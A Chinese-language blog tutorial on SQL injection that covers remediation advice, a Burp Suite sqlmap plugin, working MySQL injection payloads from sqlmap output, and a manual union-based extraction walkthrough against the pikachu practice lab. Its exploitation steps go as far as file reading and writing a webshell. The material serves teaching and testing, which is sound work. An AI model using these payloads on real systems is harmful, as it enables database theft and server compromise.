SQL注入

2021/11/25 网络安全

SQL注入的原理和基础知识

1、sql注入漏洞介绍

web程序代码中对于用户提交的参数未作过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,黑客可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

测试方法:在发现有可控参数的地方使用sqlmap进行SQL注入的检测或利用,也可以使用其他的SQL注入工具,如burpsuite的sqlmap插件;简单点的可以手工测试,利用单引号、and 1=1 and 1=2以及字符型注入进行判断。

修复方案:代码层防御sql注入,采用sql语句预编译和绑定变量是防御sql注入的最佳方法。

  1. 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,当前几乎所有的数据库系统都提供了参数化SQL语句执行接口。
  2. 对进入数据库的特殊字符'<>&*;等进行转义或者编码转换。
  3. 确认每种数据的类型,比如数字型的数据就必须是数字,存储字段必须对应int型。
  4. 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句
  5. 网站的每个数据层的编码统一,建议全部使用URF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
  6. 严格限制网站用户的数据库操作权限,给用户提供仅仅能够满足其工作的权限,从而减少注入攻击。
  7. 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻 击者利用这些错误信息进行一些判断。

2、burp suite配置sqlmap插件

  1. 打开burpsuite =》Extender =》 BApp store =》 CO2 安装
  2. 点击intruder=》positions=》右键=》send to Repeater
  3. 打开到Repeater =》 右键 send to SQLMapper
  4. 点击config =》选择sqlmap的文件目录的sqlmap.py =》 选择python目录的python.exe

这样就好了,然后进行测试

  1. 开启监听,火狐浏览器设置代理,打开靶场
  2. 点击要测试注入的地方,进行查询请求,抓到查询的包
  3. 右键发送到sqlmapper
  4. 选择数据库类型为MySQL,可以不选
  5. 点击run
  6. 一些地方需要确认,输入y

最后输出这些可注入点

sqlmap identified the following injection point(s) with a total of 3766 HTTP(s) requests:
---
Parameter: name (GET)
    Type: boolean-based blind # 盲注入
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: name=1' RLIKE (SELECT (CASE WHEN (8339=8339) THEN 1 ELSE 0x28 END))-- KHUY&submit=%E6%9F%A5%E8%AF%A2

    Type: error-based  # 报错注入
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: name=1' AND GTID_SUBSET(CONCAT(0x717a627671,(SELECT (ELT(4169=4169,1))),0x71787a6b71),4169)-- Azck&submit=%E6%9F%A5%E8%AF%A2

    Type: time-based blind # 时间注入
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=1' AND (SELECT 1161 FROM (SELECT(SLEEP(5)))CrHF)-- kety&submit=%E6%9F%A5%E8%AF%A2

    Type: UNION query  #联合注入
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: name=1' UNION ALL SELECT NULL,CONCAT(0x717a627671,0x52485251694e41775a654759665575584642687a6151684e704b556e696f784d5071437446675141,0x71787a6b71)#&submit=%E6%9F%A5%E8%AF%A2
---

3、MySQL 中的 infomation_schema

在 mysql5 版本以后,mysql 默认在数据库中存放一个叫infomation_schema的库,,它提供了数据库元数据的访问方式,元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

这个库里面有很多表 重点是这三个表

  1. SCHEMATA 表:当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。
  2. tables表:存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。
  3. columns 表:存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。

4、SQL注入原理

SQL注入漏洞的产生需要满足以下两个条件:

  1. 参数用户可控:从前端传给后端的参数内容是用户可以控制的
  2. 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询

5、判断是否存在注入

在提交查询的地方,加个符号,假设有这个样子的sql语句查询select * from users where id = ?这个?是前端传递过来拼接的,我们在前端提交的地方提交一个1',会拼接到sql语句中,这个时候执行,就会报错,会返回sql查询语法错误,这样就知道我们的参数是没有进行过滤就直接拼接到sql语句中,就是看你存在注入的,这样就称为有回显。

其他构造语句,比如and 1=1或者and 1 = 2

输入一些特定查询语句页面有数据 信息返回称之为回显,,无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中。

无回显的时候可以通过其他方法测试是否存在注入。

6、 三种sql注释符

一些时候可以通过注释来改变sql语句,来完成SQL注入

  1. #:单行注释
  2. -- 空格:单行注释
  3. /* */:多行注入 /**/常用来做空格

7、注入流程

  1. 判断是否存在注入并且判断注入类型
  2. 判断字段数 order by
  3. 确定回显点 union select 1,2
  4. 查询数据库信息 @@version@@datadir
  5. 查询用户名,数据库名user()database()
  6. 文件读取union select 1load_file(url)
  7. 写入webshell

使用sql注入遇到转义字符的单引号或者双引号,可以使用HEX编码绕过。

8、注入分类

按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:

  1. UNION query SQL injection(可联合查询注入)
  2. Stacked queries SQL injection(可多语句查询注入)堆叠查询
  3. Boolean-based blind SQL injection ( 布尔型注入)
  4. Error-based SQL injection(报错型注入)
  5. Time-based blind SQL injection(基于时间延迟注入)

按请求类型分类:

  1. GET注入:GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要URL编码
  2. POST注入:POST 请求参数是放在请求 body 里的,长度没有限制
  3. COOKIE 注入:cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

按注入数据类型区分:

  1. int:整型 select * from users where id=1
  2. string:字符型 select * from users where username='admin'
  3. like:搜索型 select * from news where title like '%标题%'

9、SQL 注入常规利用思路

  1. 寻找注入点,可以通过web扫描器实现
  2. 通过注入点,尝试获取关于连接数据库用户名、数据库名称、用户权限、操作系统信息、数据库版本等信息
  3. 猜解关键数据库表及其重要字段与内容(如存放管理员账号的表名、字段名等信息)、还可以获取数据库的root账号-密码一思路
  4. 可以通过获得的用户信息,找后台登录
  5. 利用后台或了解的进一步信息

10、手工注入常规思路

  1. 判断是否存在注入,注入的类型
  2. 猜解SQL查询语句中的字段数 order by N
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 查询到账户的数据

具体构建流程:

# 假设有一条请求链接为 /sqli/sqli_str.php?name=vince&submit=查询
# 第一步判断是否有注入点,构建sql语句
/sqli/sqli_str.php?name=vince' and 1=1 %23 &submit=查询
# 返回之后和原来的一样,再次尝试
/sqli/sqli_str.php?name=vince' and 1=2 %23 &submit=查询
# 返回的不一样,判断可以注入,然后判断字段数是多少
/sqli/sqli_str.php?name=vince' order by 2 %23 &submit=查询
# 发现有两个字段,获取敏感信息   ps:0x3a是‘:’
/sqli/sqli_str.php?name=vince' union select 1,group_concat(database(),0x3a, user(), 0x3a,version())  %23 &submit=查询
# pikachu:root@localhost:5.7.33-0ubuntu0.16.04.1

Search

    Table of Contents